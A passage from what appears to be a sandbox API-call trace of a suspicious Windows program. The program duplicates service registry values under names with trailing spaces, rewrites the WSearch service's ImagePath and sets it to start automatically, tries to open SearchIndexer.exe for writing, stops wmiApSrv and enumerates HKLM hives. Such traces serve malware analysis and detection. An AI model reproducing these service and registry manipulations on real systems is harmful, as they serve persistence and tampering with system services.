Flags=0x8, Size=0x8) returned 0x252d568 [0256.264] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f42b0 [0256.264] RegEnumValueA (in: hKey=0x154, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0256.264] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4190 [0256.264] RegSetValueExA (in: hKey=0x148, lpValueName="DependOnService", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0256.265] RegSetValueExA (in: hKey=0x148, lpValueName="DependOnService ", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0256.265] RegEnumValueA (in: hKey=0x154, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.265] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d660 [0256.265] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d568 [0256.265] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f41d8 [0256.265] RegEnumValueA (in: hKey=0x154, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.265] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d518 [0256.265] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f42b0 [0256.265] RegEnumValueA (in: hKey=0x154, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.265] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d378 [0256.265] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4190 [0256.265] RegEnumValueA (in: hKey=0x154, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.265] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d578 [0256.265] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4268 [0256.265] RegEnumValueA (in: hKey=0x154, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.265] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x20) returned 0x252bc08 [0256.265] RegEnumValueA (in: hKey=0x154, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.265] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d268 [0256.265] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4148 [0256.265] RegEnumValueA (in: hKey=0x154, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.265] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3c8 [0256.265] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4100 [0256.265] RegEnumValueA (in: hKey=0x154, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.265] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3d8 [0256.265] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f40b8 [0256.266] RegEnumValueA (in: hKey=0x154, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.266] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x30) returned 0x21573f8 [0256.266] RegEnumValueA (in: hKey=0x154, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.266] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d398 [0256.266] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4028 [0256.266] RegEnumValueA (in: hKey=0x154, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.266] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4d8 [0256.266] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3fe0 [0256.266] RegEnumValueA (in: hKey=0x154, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.266] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d5a8 [0256.266] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3f98 [0256.266] RegEnumValueA (in: hKey=0x154, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.266] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3f50 [0256.266] RegEnumValueA (in: hKey=0x154, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.266] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d408 [0256.266] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3ec0 [0256.266] RegEnumValueA (in: hKey=0x154, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.266] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4a8 [0256.266] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4778 [0256.266] RegEnumValueA (in: hKey=0x154, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0256.266] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f43d0 [0256.266] RegSetValueExA (in: hKey=0x148, lpValueName="ImagePath ", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\system32\\SearchIndexer.exe", cbData=0x26 | out: lpData="C:\\Windows\\system32\\SearchIndexer.exe") returned 0x0 [0256.266] CommandLineToArgvW (in: lpCmdLine="C:\\Windows\\system32\\SearchIndexer.exe", pNumArgs=0x36f464 | out: pNumArgs=0x36f464) returned 0x7f03d0*="C:\\Windows\\system32\\SearchIndexer.exe" [0256.267] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d660 [0256.267] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4a8 [0256.267] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0256.267] LocalFree (hMem=0x7f03d0) returned 0x0 [0256.267] RegSetValueExA (in: hKey=0x148, lpValueName="ImagePath", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\system32\\SearchIndexer.exe", cbData=0x26 | out: lpData="C:\\Windows\\system32\\SearchIndexer.exe") returned 0x0 [0256.267] OpenServiceW (hSCManager=0x803918, lpServiceName="WSearch", dwDesiredAccess=0x2) returned 0x8038a0 [0256.267] ChangeServiceConfigW (in: hService=0x8038a0, dwServiceType=0xffffffff, dwStartType=0x2, dwErrorControl=0xffffffff, lpBinaryPathName=0x0, lpLoadOrderGroup=0x0, lpdwTagId=0x0, lpDependencies=0x0, lpServiceStartName=0x0, lpPassword=0x0, lpDisplayName=0x0 | out: lpdwTagId=0x0) returned 1 [0256.268] CloseServiceHandle (hSCObject=0x8038a0) returned 1 [0256.268] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0256.269] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d478) returned 1 [0256.269] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d648) returned 1 [0256.269] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f47c0) returned 1 [0256.269] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3e8) returned 1 [0256.269] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d630) returned 1 [0256.269] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0256.269] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.269] RegCloseKey (hKey=0x148) returned 0x0 [0256.269] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0256.269] RegCloseKey (hKey=0x154) returned 0x0 [0256.269] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1898) returned 1 [0256.269] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1808) returned 1 [0256.269] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\SearchIndexer.exe" (normalized: "c:\\windows\\system32\\searchindexer.exe"), fInfoLevelId=0x0, lpFileInformation=0x36f4cc | out: lpFileInformation=0x36f4cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90db591b, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0x90db591b, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x7cac000, ftLastWriteTime.dwHighDateTime=0x1ca0416, nFileSizeHigh=0x0, nFileSizeLow=0x44000)) returned 1 [0256.269] CreateFileW (lpFileName="C:\\Windows\\system32\\SearchIndexer.exe" (normalized: "c:\\windows\\system32\\searchindexer.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0256.269] GetLastError () returned 0x20 [0256.269] CryptAcquireContextW (in: phProv=0x36f510, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x36f510*=0x7f03d0) returned 1 [0256.270] CryptGenRandom (in: hProv=0x7f03d0, dwLen=0x4, pbBuffer=0x36f524 | out: pbBuffer=0x36f524) returned 1 [0256.270] CryptReleaseContext (hProv=0x7f03d0, dwFlags=0x0) returned 1 [0256.270] OpenServiceW (hSCManager=0x803918, lpServiceName="wmiApSrv", dwDesiredAccess=0x20) returned 0x803990 [0256.270] ControlService (in: hService=0x803990, dwControl=0x1, lpServiceStatus=0x36f474 | out: lpServiceStatus=0x36f474*(dwServiceType=0x10, dwCurrentState=0x3, dwControlsAccepted=0x7, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 0 [0256.271] GetLastError () returned 0x425 [0256.271] CloseServiceHandle (hSCObject=0x803990) returned 1 [0256.271] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0256.271] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1898 [0256.271] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0256.271] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x280) returned 0x2152850 [0256.271] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0256.271] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0256.271] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.271] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0256.271] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0256.271] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x21f1cd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcd00000000", lpUsedDefaultChar=0x0) returned 11 [0256.271] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0256.271] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0256.271] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0256.271] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.272] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0256.272] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.272] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0256.272] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0256.272] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x21f19b8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware", lpUsedDefaultChar=0x0) returned 8 [0256.272] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0256.272] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0256.272] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0256.272] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.272] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0256.272] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.272] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0256.272] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0256.272] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x21f1cd0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sam", lpUsedDefaultChar=0x0) returned 3 [0256.272] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0256.272] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0256.272] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0256.272] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.272] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0256.272] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.272] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0256.272] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0256.272] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x21f19b8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security", lpUsedDefaultChar=0x0) returned 8 [0256.272] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0256.272] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0256.272] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0256.272] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.272] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0256.272] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.272] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0256.272] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0256.272] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1cd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0256.273] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0256.273] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0256.273] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0256.273] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.273] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0256.273] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.273] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0256.273] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0256.273] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x21f19b8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system", lpUsedDefaultChar=0x0) returned 6 [0256.273] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0256.273] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0256.273] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0256.273] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.273] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0256.273] RegCloseKey (hKey=0x80000002) returned 0x0 [0256.273] RegEnumKeyW (in: hKey=0x148, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0256.273] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.273] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0256.273] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0256.273] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x21f1cd0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset001", lpUsedDefaultChar=0x0) returned 13 [0256.273] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0256.273] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0256.273] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0256.273] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.273] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0256.273] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.273] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0256.273] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0256.274] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x21f19b8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset002", lpUsedDefaultChar=0x0) returned 13 [0256.274] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0256.274] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0256.274] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0256.274] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.274] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0256.274] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.274] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0256.274] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0256.274] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x21f1cd0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mounteddevices", lpUsedDefaultChar=0x0) returned 14 [0256.274] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0256.274] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0256.274] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0256.274] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.274] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0256.274] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.274] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0256.274] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0256.274] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x21f19b8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rng", lpUsedDefaultChar=0x0) returned 3 [0256.274] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0256.274] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0256.274] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0256.274] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.274] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0256.274] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.274] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, 